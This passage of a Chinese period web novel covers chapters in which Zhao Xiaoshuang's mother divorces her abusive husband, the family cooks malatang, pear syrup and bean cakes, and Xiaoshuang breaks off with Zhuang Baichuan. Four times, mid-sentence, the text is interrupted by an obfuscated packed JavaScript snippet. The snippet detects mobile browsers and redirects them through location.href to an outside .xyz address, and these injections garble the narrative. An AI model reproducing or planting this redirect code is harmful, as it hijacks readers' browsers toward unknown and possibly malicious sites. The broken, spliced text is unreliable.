赵小霜也被这种纯朴和热情所感染，这个年代日子苦，但是大家的心气儿都是向上的，都对未来有着美好的期望，再过几年经济发展起来了，大家会越过越好。赵小霜也暗自给自己打气，虽然她没办法像科学家一样研究卫星，没办法像建筑师一样修建大坝，但她也想用自己的厨艺，为大家带来艰苦中难得的小幸福，吃饱睡好才能更好地为人民服务，建设家乡，这在哪一个年代都是不变的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916673|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林秀英骑着车带着赵小霜直奔西顺县，到了钢铁厂所属街道的街道办事处，赵令强已经等在外边，他看到赵小霜和林秀英，又摆出了那种“土皇帝”的姿态，下巴一抬，出口就是脏话：“他娘的，让我等这么久？”又打量了一下自行车，满脸鄙视地说道：“哟，这是从哪个野男人那里借的自行车？” 林秀英没有接他的茬，甚至看都没有看他一眼，直接走进了办事处。赵小霜看了看赵令强，也没有接话，跟着林秀英进了屋子。 没人搭理赵令强，他顿时一肚子火地追了进去：“你他妈的翅膀硬了是吧！” “诶！这里不许喧哗！”一个年轻的男性工作人员制止了赵令强：“你要吵闹出去吵！” 林秀英微微点头：“同志你好，我们来办离婚。” 这年头办离婚的人很少，这个年轻的工作人员显然不熟悉流程，他去隔壁屋里叫了一个中年女人过来：“李姐，他们说办离婚。” 赵令强应该是已经和王利民摊牌了，他已经开好了“离婚证明”，厂里也给他盖好了章。他斜着眼瞪了林秀英一眼，显然还一肚子火气，他把离婚证明递给李姐，李姐却不接：“先写保证书，再把财产分割写明白再过来。” 两个人又拿了笔和纸，各自找了桌子写了保证书交给李姐，李姐看了看，又问：“你们财产怎么分？因为什么离婚？” 还不等林秀英说话，赵令强抢先开口：“家里的东西都是我花钱的，她在我家白吃白住，也不挣钱，我要求林秀英返还我彩礼钱和这几年吃喝的钱！” 赵小霜都被他的厚颜无耻气笑了：“你有事儿没事儿啊，我妈在你家干了多少年活儿，你的工资全拿出去养小三打麻将了，家里的吃喝都是我妈接零活挣来的，我们没让你吐出来已经不错了，你还反过来要钱？” “你闭嘴！我还没说你呢！你欠我那300块钱彩礼钱什么时候给我！今天不还清这个钱，别想出这个门！”赵令强又开始横鼻子竖眉毛，手一扬就要去拉扯赵小霜，“你还说我养小三，你妈这自行车都不知道从哪个野男人那里要来的！” 周围的工作人员见状赶紧上来拉开他们，李姐皱着眉头：“什么300块钱彩礼钱？有财产纠纷的话先分清楚再说。” 赵小霜解释道：“李姐，我爹要把我卖给隔壁镇四十多岁刚死了老婆的人，那个人答应给他300块钱彩礼，我不肯，他就找我要钱。” 李姐眉头皱得更深了，远处赵令强还在骂骂咧咧的，李姐一拍桌子：“行了！你也闭嘴！现在禁止包办、买卖婚姻！你这是卖女儿，是违反法律的！” “她是我亲生的闺女！我怎么卖女儿了！婚姻大事都是父母之命，我养她那么大，凭什么她就不用给我钱了？！”赵令强气急了，直接大喊大叫了起来。 “同志，我什么都不要，之前帮他还的赌债我也不要了，我只想赶紧办离婚。”林秀英诚恳地和李姐解释：“当时结婚给我的彩礼钱，我后来接零工也还给他了，我女儿就更不欠他钱了。” 李姐眼看也没有什么调解的必要了，赵令强这个人满嘴脏话，胡搅蛮缠，一言不合还要动手打人，听这个小姑娘说的，还在外边养小三，甚至要卖女儿换钱，简直不是个东西。 李姐又看了看旁边愤怒的赵小霜和红着眼眶的林秀英，直接把保证书和离婚证明装进了文件袋，从柜子里取出了两个红封皮的离婚证，在“兹证明赵令强与林秀英因思想破裂，准许离婚”的下方，用力地盖上了街道革委会的公章。 28. 雨夜里的麻辣烫 拿到离婚证出来，赵令强还在后边骂骂咧咧的，赵小霜看着穿过树叶斑驳的阳光，长长地舒了一口气，以后她们母女俩再也不用担心被赵令强动不动打骂，不用听李翠香每天冷嘲热讽，也不用又做家务又干零工，还要被骂“整天在家白吃白喝不挣钱”了。 母女俩都心情大好，她俩完全没有理会赵令强的骂声，直接骑着自行车就走了，身后赵令强狠狠地吐了一口唾沫：“呸！还真以为自己是个什么东西了！除了我谁愿意养你！” 转头又想到王雪兰肚子里的儿子，还有王利民答应他和王雪兰结婚以后就给他升到5级工，一个月能拿68块钱的工资，不禁喜上眉梢，整个人洋洋得意了起来，看着林秀英和赵小霜的背影，又狠狠地骂了一句：“一群白眼狼！以后有你们后悔的！” 林秀英和赵小霜当然没有听到赵令强的这些话，昨天钢铁厂乱成一锅粥，赵小霜也还没来得及去领取她做饭的工资，两个人准备先去钢铁厂把工资领了。 去钢铁厂的路上，林秀英和赵小霜已经在商量一会儿中午吃什么庆祝了，赵小霜想去国营饭店大吃一顿，林秀英却坚持要回去自己做，赵小霜知道林秀英舍不得花钱，也就不再坚持，反正想吃什么她都能自己做，用料还比饭店的更扎实。两个人的讨论又转向做红烧肉还是做烤全鸡，做汤面还是做焖面，两个人就这么一路叽叽喳喳地聊着，不一会儿就到了钢铁厂。 赵小霜直接去了安厂长的办公室，办公室门开着，赵小霜敲了敲门，探头看了看，安静丽正在打电话，她看到赵小霜，朝她招了招手示意她进来。 这通电话足足打了十分钟，等打完电话，安静丽才头疼地揉了揉太阳穴解释道：“昨天食物中毒的事情闹得很大，尤其大领导的孩子也中毒了，领导说一定要彻查清楚，保障职工的安全。”她从抽屉里取出一个信封，上边还贴了明细单子，盖了钢铁厂的公章，“这是答应你的工资。” 赵小霜接过信封，向安厂长道了谢，安静丽摆了摆手：“你昨天救了小峰，还救了几个职工，我应该感谢你才对。明天上边会来督察组，可能需要你再来一趟配合调查，不过你放心，我们已经初步了解原因了，和你的饭菜没有关系。” 从钢铁厂出来以后，赵小霜带着林秀英去了黑市，赵小霜在巷子里灵活地穿梭，不一会儿就买齐了需要的食材，又买了一些小米和杂粮豆子，买猪筒骨的时候，眼看着刚才还亮堂堂的艳阳天突然黑了下来，估摸着是要下雨。 赵小霜赶紧骑车带着林秀英去买布料，缝纫机暂时买不着，布料还是可以买点的。林秀英的衣服也穿了好几年了，外边的磨损不说，内里打满了补丁，赵小霜上次挑的布料都比较素，她想让林秀英自己挑点喜欢的。交完公粮家里没什么事情了，林秀英可以用挑的布料给自己做点新衣裳穿。 林秀英一进屋眼睛就移不开了，她左看看右摸摸，买了几匹颜色靓丽的布，想回家给赵小霜缝两件新外套。 赵小霜成天往县里跑，现在外边的姑娘都穿的时髦漂亮，而赵小霜就那么两身衣服来回换着穿，就算当时做得再好看，时间长了也多多少少褪色磨损了，赵小霜最近吃得好，又明显开始窜个子，之前已经添补过的裤角又短了一截，露出来她细细的脚踝。 林秀英希望自己的闺女在这个如花似玉的年纪，也能其他女孩一样，光鲜亮丽地出门。不用多么时髦漂亮，也最起码能合身体面，最近天气也开始降温了，林秀英也怕赵小霜成天外头跑冻着。赵小霜已经承担了不属于她这个年纪太多的责任，林秀英心里总是愧疚，又自觉帮不上她什么忙，也只能在后方默默地支持她，照顾她。 赵小霜自然是不知道她妈妈心里这么多的想法，她看着外边黑压压的天，心里盘算着做一个集肉、蛋、菜、面条、鱼丸于一体的大乱炖，高汤里加上芝麻酱和花生酱，也就是后世的“麻辣烫”，做起来方便，吃起来又热乎，营养也非常丰富，加一点红油麻油和蒜末，在屋里听着雨声来一碗又香又浓的麻辣烫，赵小霜光是想想就觉得美滋滋的，整个人都沉浸在兴奋之中，直到林秀英买好了布料叫她，她才回过神来。 两个人刚骑车出了县，天空中就一声惊雷，像把黑压压的乌云劈开了似的，下起了大雨，林秀英只好又带着赵小霜返回去找地方避雨，好在这附近就是孙陆堂的中医馆，两个人把车停到门口，就赶紧到了屋檐下躲雨。 馆里还有两个病人刚开好了药，因为这大雨也只能在馆里坐着等雨停，孙陆堂抓完药方，一抬头看到了门外的赵小霜，赶紧让孙芷星招呼她们进来。两个人已经淋得和落汤鸡一样了，衣服湿了也就算了，头发也都湿答答地贴在了脸上。 孙芷星给两人泡了生姜紫苏水，又拿了两条毛巾给她们擦头发，赵小霜嘿嘿笑着：“哎呀不好意思呀姐姐，又麻烦你们了，没想到这雨来的这么急。” 孙芷星戳了戳她的脑袋：“以后这种情况就直接进来，这屋里好歹暖和点，外边站着你们回去准感冒。”说着，又去柜子里抓了点艾草包起来递给赵小霜：“一会儿到家了把艾草生姜和花椒煮水洗个澡，驱驱寒。” 这一坐就坐到了下午，雨终于渐渐变小了，怕后边雨又下大，两个人准备趁现在赶回去。中医馆里只有一把伞，而且林秀英和赵小霜骑车也不太好打，孙陆堂从后院翻出来几个干净的尼龙编织袋，从顶上剪了一个窟窿，给赵小霜和林秀英套上当雨衣用。又剪了一个把赵小霜的背篓盖上，防止里边的布料食材淋湿。 好在路上雨虽然没停，但是也没有再变大，两个人顺利到达了家，林建华和林建业估摸着还在铁泉庄没回来，赵小霜先按着孙芷星的嘱咐，切了一些生姜，和艾草花椒一起放到大锅里煮好，两个人在屋里热乎乎地洗了澡，擦干头发，换上了干爽的衣服，感觉身体暖呼呼的，赵小霜才去收拾背篓里的东西。 背篓里的布料或多或少有些淋湿了，林秀英正把布料都拿出来晾着，还好蔬菜和肉都没什么事，外边的雨仍然下个不停，赵小霜准备在院子的灶台上做好汤底以后，用汤锅在屋里的小炉子上煮，这样屋里也不会有油烟，也不用一直守在外边盯着火了。 赵小霜打了把伞，把灶台上的铁锅烧热以后，放入蒜片和葱姜，又切了一小块红油底料放进去炒香，切一些西红柿放进去炒烂出沙，倒上足量的开水和熬好的高汤煮开，就可以转移到锅里进屋子了。 屋里的小炉子也已经生好了火，赵小霜照着麻酱大拉皮的调料又调了一份咸口的芝麻酱，一并倒进锅里小火煮着，香味儿已经慢慢从锅盖的缝隙了散发了出来。 这个时候外边基本上已经全黑了，林建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922608|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华和林建业才踏着雨水深一脚浅一脚地回来，赵小霜听到动静赶紧出去开门，此时雨已经比中午小了不少，却能明显感觉到雨水的寒意，林建华和林建业冒着雨从铁泉庄走回来，浑身上下都透心凉了。林秀英给他俩煮了生姜葱白水，两碗干下肚，才终于感觉有了一丝丝的暖意。 赵小霜把窗户关严实，屋子里因为做饭腾起了雾气，玻璃都蒙上了一层水雾，却正好暖和了不少，林建华搓着因长时间在雨天赶路而冰凉的皮肤，一边凑近了赵小霜做饭的火炉取暖，一边使劲吸了吸鼻子：“小霜，这咕嘟咕嘟的煮的是什么呀，你又做出来什么好吃的了？” 还没等赵小霜给他讲，林秀英就催促这这俩弟弟去洗热水澡，又怕热水不够，打着伞去院里用大锅烧水去了。 俩兄弟洗澡的空档，赵小霜估摸着汤底煮的时间也差不多了，揭开锅盖，一阵芝麻和骨汤的香气扑鼻而来。她把鱼丸、肉片这种耐煮的东西先放进去，又把面条和先前焯过水的蔬菜放进去煮，等这几样都熟了，放上四个煎蛋，就可以吃了。 为了防止麻辣烫变凉，赵小霜没有把它倒进大碗里，而是找了一个厚实的木板放到桌子上，直接把汤锅隔着木板放到了桌子上，这样既不会烫坏桌子，食材也能多保温一会儿。 可惜桂花酒还得再等几天，不然今天雨天配着桂花酒，嗦一口吸饱了汤汁的面条，再来一口弹牙软糯的鱼丸，吃腻了主食和肉，再嚼几口清爽脆嫩的西葫芦和木耳。吃到尽兴处，嘬一口有点辛辣却满口留香的甜桂花酒，一定从头暖到脚，浑身舒畅。 赵小霜有些遗憾，早知道就早点酿了！不过好在还有桂花蜜，赵小霜从柜子里把剩下的桂花蜜拿出来，经过几天的浸泡，蜂蜜已经充分吸收了桂花的甜香，用温水一冲，直冲得空气中都浸满了桂花香。 林建华这个时候已经洗完了澡换上了干净衣服，他今天搬了一天的粮食，又赶了一天的路，刚才闻到汤底的味道，已经馋得直流口水。但他还没忘林秀英离婚的事情，着急地跑到林秀英面前：“姐，那个男的有没有欺负你们？证领了吗？” 林秀英笑着点点头：“已经办好了，这下我和他没有任何关系了。” 林建华高兴极了：“太好了，我早就看他不顺眼了，这下我可以去揍他了吧！” 说归说，打人可是要被公安抓走的，大家也不会允许林建华因为那个人渣而自毁前程，林秀英又教育了林建华一顿，这才让他取了碗筷吃饭。 一场秋雨一场寒，屋子外边的气温在今晚骤降，偶尔一阵大雨噼里啪啦地打在窗户上。但小屋里的人们吃着热气腾腾的麻辣烫，林家三姐弟在赵小霜的带领下也开始吃辣，每个人都加了一勺红油辣子，吃得额头和背都出了细细密密的汗珠，实在辣得受不了了，再来一杯桂花蜜水解辣。 一家人边吃边热火朝天地规划着以后的事情，林建华听取了赵小霜的意见，准备在这个冬天重新捡起课本，林秀英准备趁这几天休息把大家的棉衣做出来，林建业要去隔壁村找弹棉花的大爷来翻新被子。至于赵小霜嘛，她已经吃得顶饱，斜倚在林秀英的肩膀上，满足地拍了拍肚子，安然地听着雨声，看着热气氤氲，装饰一新的家幸福地眯了眯眼睛。 她已经紧绷了一个月了，今天晚上，她就什么都计划都不做了吧！ 29. 陈皮山楂秋梨膏 昨夜下了一整夜的雨，早上起来的时候，外边还淅淅沥沥地飘着雨丝，昨天晚上又冷又潮，林秀英担心兔子冻死，直接抱进了家里，此时正躲在柜子旁边窸窸窣窣地吃着干的苜蓿草。 前两天还热得人喘不上气，今天就突然冷成这样，赵小霜本来想出去摘点院子里的菜，一开门就被冷风给“顶”回来了。她又翻箱倒柜地找了件林建业的旧外套穿上，这才去院子里摘了点茄子和小白菜回来。早饭大家就热了几个玉米面的窝窝头，赵小霜又做了一个鱼香茄子和炝炒小白菜下饭。 吃完饭后，林秀英拿了软尺给几个人量了尺寸，记下了肩宽胸围和胳膊长度，就准备开始做衣服了。 前几天买的梨子放了几天，已经完全熟透了，外皮金黄，离得近了还能闻到梨子的香味儿，现在外边下雨出不了门，正好把这些梨子煮了做秋梨膏。 赵小霜把梨子都削了皮，切成细细的小块，又放进大盆里，用擀面杖把梨肉捣碎，不加水直接放进锅里煮，期间加入去核的红枣和罗汉果，还有山楂片和陈皮熬煮。因为已经开始降温了，赵小霜担心秋梨膏太寒，又把生姜皮刮掉切沫，用纱布挤了一些姜汁进去。 等梨汤的颜色变深，梨肉都煮到快化了，就关火晾凉，用纱布把残渣都过滤掉，再重新回锅里小火煮，加少量的冰糖提升风味，煮到浓稠和冒小泡的时候，就可以装罐子密封了。 喝的时候用干净的勺子舀两勺，温开水冲开搅匀，喝起来甜甜的，又有梨子的香气，还有陈皮和山楂疏肝理气，帮助消化，这几样食材搭配着喝润润的，又不会太腻，非常适合秋天干燥的时候来一碗。 屋外的雨不知道什么时候已经停了，昨天安静丽让赵小霜再去一趟钢铁厂接受调查，赵小霜准备把灌腊肠的材料都备好了再去，她都琢磨腊肠琢磨了好长时间了，一直没有空去做，今天说什么也得给它做出来。现在有自行车了，去钢铁厂也就四十来分钟，也不会耽误事儿。 赵小霜把肥瘦相间的大块猪肉去掉猪皮，切成小块，腊肠的馅儿不用像饺子一样剁那么碎，反而要保留一些肉块的口感，这样吃起来才更香。她按比例往猪肉块里加了花椒粉、细盐、胡椒粉、白糖，分成两盆，其中一盆加上不同干辣椒磨成的辣椒粉，搅拌均匀，最后倒上高度白酒腌着。 这个时候的肠衣基本上都是用猪小肠来做，赵小霜早已经把小肠泡了一早上，现在换了水用盐和淀粉反复搓洗了几遍，直到水再怎么洗都是干净的，这小肠才算洗好了。赵小霜又用筷子小心地把小肠里没有处理干净的油脂戳掉，再用刀背刮一刮，把外层的膜扯掉，肠衣就算做好了。 赵小霜又加了一些白酒进去腌制去腥，告诉林秀英半个小时以后拿出来洗干净晾干，就收拾着准备出门去钢铁厂了。 林秀英给赵小霜翻出来一条薄线裤，虽然赵小霜坚持说不冷，林秀英也还是硬让她穿上了，还让她回来的时候路过国营商店买一些塑料纽扣和浅色的棉线，林建业又让她带点蜡烛和火柴回来，现在天黑得明显比夏天要早很多，煤油灯不够亮，家里的蜡烛也基本上都快用完了。 赵小霜一一记下，把庄白川送她的东西也装到斜挎包里，头发重新梳了梳就骑车出门了。雨后的空气清凉又清新，夹带着树木青草的味道，路边的树也好像一夜之间变黄了，赵小霜悠闲地骑着车，感受着秋天的凉意。 到了安静丽的办公室，里边已经站了好多人，除了那天的大领导，还有几个陌生的面孔，见赵小霜进来，安静丽从抽屉里拿出来一沓盖了各种单位的发票，都是赵小霜之前采购物品在国营商店开的，盖上了红彤彤的章。赵小霜也从斜挎的包里拿出了野板栗和家里仅剩的一点红油底料，放到了桌子上。 安静丽简单介绍了一下情况，为首的高个子中年男人检查了发票，又把赵小霜带来的原料检查了一遍。旁边的大领导摆了摆手：“我都说了，不是饭菜的原因，我们当天都吃了她做的菜，没一个有事的。” 高个子也点了点头：“确实没有问题，辛苦你了同志，你可以走了。” 赵小霜还以为要走好多流程，没想到十几分钟就结束了，时间还挺早，她准备先国营商店把纽扣蜡烛买了，再去造纸厂找一下庄白川，把雪花膏和麦乳精都还给他。 刚出大门，就听到后边有人喊她：“同志，小同志！等一下！” 赵小霜扭头，是小峰的爸爸，她转过身：“怎么了领导，是还有什么材料要提交吗？” 大领导摇了摇头：“小同志，我叫张海，是冶金工业部的，这次非常感谢你救了我孩子，你有什么需要，我一定帮忙。” “领导，您太客气了，换作任何一个人都不会袖手旁观的，我只是做了我应该做的事情。” 张海却仍然坚持，大有一副赵小霜不提要求就不让她走的架势，赵小霜想了想，“领导，我还真有件事需要您帮忙，我听安厂长说您是从川阳市来的，我想去川阳市的国营饭店学习一下，增进一下厨艺，您能不能帮我开个介绍信呀？” 这个时候还没有身份证，一般人出远门都需要所在的单位给开具介绍信和身份证明，赵小霜贸然要去川阳市，公社不一定会给她开，想来想去，还真是只能求助眼前的这位张海领导了。 张海没有犹豫就答应了下来：“我可以帮你开一个学习会议通知，你拿着这个通知去找街道办或者公社开介绍信就行。你把你的地址给我，等我回去川阳市给你邮寄。” 林家庄里没有邮电局，上次大队在川阳市订的《农作物种植指南》辗转了三个月才送到铁泉庄的生产队，赵小霜想了想：“领导，您就寄到钢铁厂吧，我到时候来钢铁厂取。”赵小霜从包里掏出来本子，撕了一张纸写上自己的信息，交给了张海。 离开钢铁厂，赵小霜去了国营商店，两个售货员仍然是眼高于顶的模样，赵小霜忘了问林秀英要买什么颜色的扣子，于是照着布的颜色买了两包， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928488|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又拿了一捆用旧报纸包着的石蜡蜡烛和几盒松火牌的火柴，这些东西不限量，也不需要票证，赵小霜一共花了一块七毛三分钱。 日用品的旁边就是文具，赵小霜看到柜台里放着一个用硬纸盒包装的湖蓝色钢笔，笔身有漂亮的光泽，旁边还配了一瓶鸵鸟牌蓝墨水。赵小霜看了一会儿，准备买来送给庄白川，以感谢他之前救了自己的恩情，从此以后，他们就互不相欠，也就不用再见面了。 这支钢笔是英雄牌100钢笔，要整整20块钱，鸵鸟牌的墨水是一起售卖的，一瓶是一块钱。赵小霜爽快地付了钱，让售货员把钢笔和墨水包装起来。 看了看门口的大钟，时间还早，她又上楼去服装部逛了逛，最近已经上了很多秋装，这里的衣服不如百货大楼的多，最多的还是厚一些的劳动布外套，还有一些圆领的针织毛衣，混纺羊毛的一件都要13块钱，旁边的纯羊毛针织围巾一条也要5块钱，赵小霜不经咋舌，这年头的成品衣还真贵，这么普通的款式，颜色也普普通通，甚至没什么钩花，就要这么多的钱。看来让林秀英做衣服来挣钱这法子还真能行得通。 赵小霜又下楼去买了十斤不同颜色的毛线，纯羊毛的毛线比较贵，也容易缩水，赵小霜直接买的两块钱一斤的混纺毛线，十斤毛线能织四件毛衣，还能再织个围巾和手套出来，如果直接买成品的，四件毛衣加围巾手套差不多要60块钱了，这下又省了一大笔钱！赵小霜沾沾自喜了一阵估摸着庄白川也快下工了，就把东西都收好骑车去了纺织厂。 赵小霜上辈子在这边住了半年多，又经常去厂里给庄白川送饭，对纺织厂的布局已经十分了解了，她骑车到了西门，找了个树荫等庄白川下班。 下工的铃声响起没一会儿。工人们就陆陆续续从厂里出来了，纺织厂的西门是个小门，大部分职工一般都从北门直接回到家属楼，而庄白川下班以后总是去阅览室借一本书，再从西门到水库看书，上次也是因为庄白川在水库附近看书，才碰巧救下赵小霜的。因此西门的人本身也不多，庄白川一出来就远远地看到了枫叶下的赵小霜。 秋天的枫叶已经渐渐染红了，赵小霜穿着藏蓝色的劳动布外套，下身穿着同色系的长裤，普普通通的打扮，却在身后一片火红的枫叶林里显得极为突出，阳光似乎也在偏爱她，轻轻地洒在了她的肩膀上，让她整个人镀上了一层温柔的光。 庄白川看着赵小霜出了神，仿佛怎么都看不够似的，直到赵小霜挥手朝他走过来，他才反应过来，赶紧朝着她走去。 赵小霜把包装好的钢笔和墨水递给庄白川：“庄同志，非常感谢你救了我，落水那次也是，我爸来闹事那次也是。我想你在造纸厂应当不缺本子，这个钢笔是我刚从商店买的，送给你。” 庄白川拆开了盒子，里边湖蓝色的钢笔在阳光的照射下更加亮眼好看了，他还没来得及高兴，又听到赵小霜说：“这些还给你，以后我们就两清了，不要再见面了。” 30. 我们重新来过，好不好？ “小霜……你……”庄白川还没从赵小霜主动来找他的喜悦中清醒过来，就被她的话当头浇了一盆冷水，“可以告诉我为什么吗？” “不为什么，我觉得我们还是保持一定距离比较好。” “小霜……你，你是不是喜欢那个……周翊凡？小霜，你听我说……” “我想这不关你的事，庄同志。”赵小霜头也不回地骑车走了，没有看到庄白川在原地捏紧的拳头。 赵小霜骑着车沿着水库的小路准备回家，这条路庄白川以前常带着她走过，如今却也物是人非，不堪回首了。 回到家，林秀英已经给她缝好了上衣，还薄薄地絮了一层棉花，赵小霜把买回来的毛线递给林秀英，又把去川阳市学习的计划告诉她，顺便透露了一下自己想去川阳市读书的想法。 出乎意料的是，林秀英非常支持她去川阳市读书。赵小霜本来以为她会不放心她去那么远的地方，林秀英一边给上衣缀纽扣，一边说：“我的妮儿这么有本事，在哪里都可以过得很好，不过你去念书的话，我得陪着你一块去。” “妈，你最好了～”赵小霜揽着林秀英的胳膊撒娇，她准备趁办入学体检的时候，顺带拉着林秀英也体检一次，不然她的心里始终像吊着一块石头，放心不下。 走之前的肠衣和肉馅都已经等待多时了，赵小霜找了个漏斗，把肠衣套上去，再用筷子把肉馅从漏斗上捅进去，一边灌一边轻轻捏均匀排气，这样做出来的肉肠才会均匀圆润，后期也不容易变质。 灌完十几条肠衣以后，赵小霜找了棉线，分段给肉肠系紧，用针扎几个小孔放气，再挂到院子里晾着，赵小霜前几天就从外边摘了不少嫩柏叶，这个时候水分已经挥发差不多了，她从屋里把嫩柏叶抱出来，里边加了一些橘皮放在肉肠下边，点燃了用火熏着。这样熏出来的腊肠要比直接晾干的腊肠多一些草木的香气，更加浓郁持久，切一点蒸腊肠饭或者炒蒜苗和青椒都非常好吃。 介绍信还不知道多久才能开回来，这一周赵小霜准备多做点卤味去卖，而且她发现国营商店的糖果和饼干卖得都很贵，种类却很单一，基本上每个商店里都是芝麻糖、花生糖、炉果和江米条。之前她做的板栗桂花糕卖的很不错，她准备再做点别的甜点和糖拿来卖。 去川阳市坐火车比坐大巴更方便也更快，但单程的火车票就要一块五毛钱，比大巴贵了许多，招待所一晚上最少也要三元，估计她这种临时过去学习的，人家也不管住宿，七天就要二十一元了。 租房子的费用赵小霜也得提前备着，赵小霜这次去想直接看好房子租下来，也顺便打听一下川阳市能以招生考试入学的高中，现在的高中基本上都还是推荐制，大队里每年的名额有限，一般一个大队就三四个名额，还得优先没读过高中的或者贫农家庭的。林建华之前就是因为贫农家庭优先才获得名额上了县高中，但中途自己选择退学了，大队里怎么都不可能再给他这个名额，就算给了，报到公社上还要再筛选一轮，还需要人给他开介绍信和推荐信，实在机会渺茫。 赵小霜自己的户口还在赵令强那边，因为赵令强是工厂工人，赵小霜也跟着是城市户口，可以就近入学，但现在他们离婚了，而且赵小霜也不可能再回去西顺县，思来想去，还是去川阳市找一个按考试选拔的高中更方便。 两个人的学费赵小霜倒是不担心，这年头学费一学期也就两三块钱，他们完全负担得起，而且如果林建业成绩好的话还可以申请奖学金。 但去了川阳市做什么生意，这是赵小霜比较头疼的问题，她上一世一开始主要在庄家伺候一家老小，对川阳市外边的市场并不是特别了解。后来庄白川做生意她倒是也有参与，但也是庄家人脉扶持做的工业品生意，赵小霜是完全没办法学的。因此这次过去，她还得利用空闲时间发掘一下商机，不说挣大钱，最起码也得攒够她和林建华读大学的学费还有生活费，还要给林秀英买个缝纫机。 赵小霜琢磨了会儿，山头的青枣最近都已经开始红了，林建华昨天也去摘了一箩筐，枣泥糕做起来很方便，成本也比较低，可以做来试试。但枣泥糕有的商店也有卖，还得再做点不一样的糕点。 思来想去，桂花大米糕和奶皮酥做起来也简单，可是需要大量的牛奶，现在牛奶都要凭票购买，而且优先供给老人小孩，她一时半会买不到太多，家里只有昨天林建华从大队带回来的两瓶子，做奶皮酥和桂花大米糕是肯定不够的。 最后赵小霜看到了自己前几天买回来的杂粮豆子，她灵机一动，可以做绿豆糕和红豆糕啊，商店里虽然也有卖，但是都是最普通的，她可以给绿豆糕里加上茉莉花蜜，红豆糕里加上陈皮，这样吃起来口感丰富许多不说，味道也绝对比商店卖的好很多！ 唯一不足的就是家里没有模具，做出来的样子不够好看，这个时候林建业从后山回来了，他跟着村民们一块上山，又摘了不少的柿子和大枣回来，想起来林建业之前也会做一点木工，赵小霜赶紧接过他的背篓：“舅舅，你会不会做模具啊，就最简单的那种一个圆的。” “这个不难，你什么时候要？舅舅还会刻桃花样式的模具，以前公社做月饼舅舅去帮忙做过。” “那我要桃花的！我想做绿豆糕。” 说干就干，林建业洗干净手，从柜子里拿了一块红枣木就开始勾画形状。 赵小霜也撸起袖子去淘洗豆子，洗干净以后浸泡到豆子都软软的，皮一搓就掉，就可以上锅蒸熟，再加一点点牛奶捣成豆泥，晾凉一点以后加上白糖和糯米粉放进锅里小火翻炒，再加一点玉米油，炒到不粘手就是好了。 赵小霜又把陈皮洗干净切碎，和蜂蜜一起倒进红豆泥里，绿豆泥里则加了茉莉蜜和一些绿茶水，这样吃起来不会太过甜腻。 两样豆泥都做好了，林建业的模具也初具雏形，能看出来是个花朵的样式，但还需要再精细雕刻一阵。赵小霜把俩兄弟摘的红枣放一起洗干净，切开去核，加上清水煮到泥状，把大块的红枣皮挑出去，以免影响口感。加上玉米油、红糖、鸡蛋，再倒上小麦粉和泡打粉，一起搅和均匀，再放上核桃碎，倒进方形的铁盒子里，盖上盖子放进炉灶里，等个十来分钟，这枣泥糕就烤好了。 赵小霜还用炉灶顺便烤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939033|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个土豆，一会儿晚上直接用烤土豆蘸着孜然花椒辣椒面吃，土豆外皮焦脆，内里软糯，撒上赵小霜调配的调料粉，香辣酥麻，一口气吃三四个都不会觉得腻。 林建业已经刻好了模具，用砂纸打磨光滑洗干净就可以用了，赵小霜给模具刷上油，把豆泥塞进模具里压实再脱模，一个桃花样式的绿豆糕就出现了，林建华的模具刻得非常细致，花朵的花瓣一瓣压着一瓣，中心的花蕊旋转着绽开，每个花丝还带着一个小珍珠一般的花药。 赵小霜一个一个地压着，林建业又给她刻了一个方形的模具，正中间有个花型的“福”字，旁边绕着藤蔓和葫芦。刻完以后，两个人一块压模脱模，速度明显快了不少，方形模具压出来的糕点端正大气，显得更加正式，到晚饭之前，两个人已经做出来二十几斤豆糕了，赵小霜把红豆糕和绿豆糕分开装好，绿豆糕上又撒了一些干桂花。天已经黑了，赵小霜点了一支蜡烛，准备一会儿做晚饭。 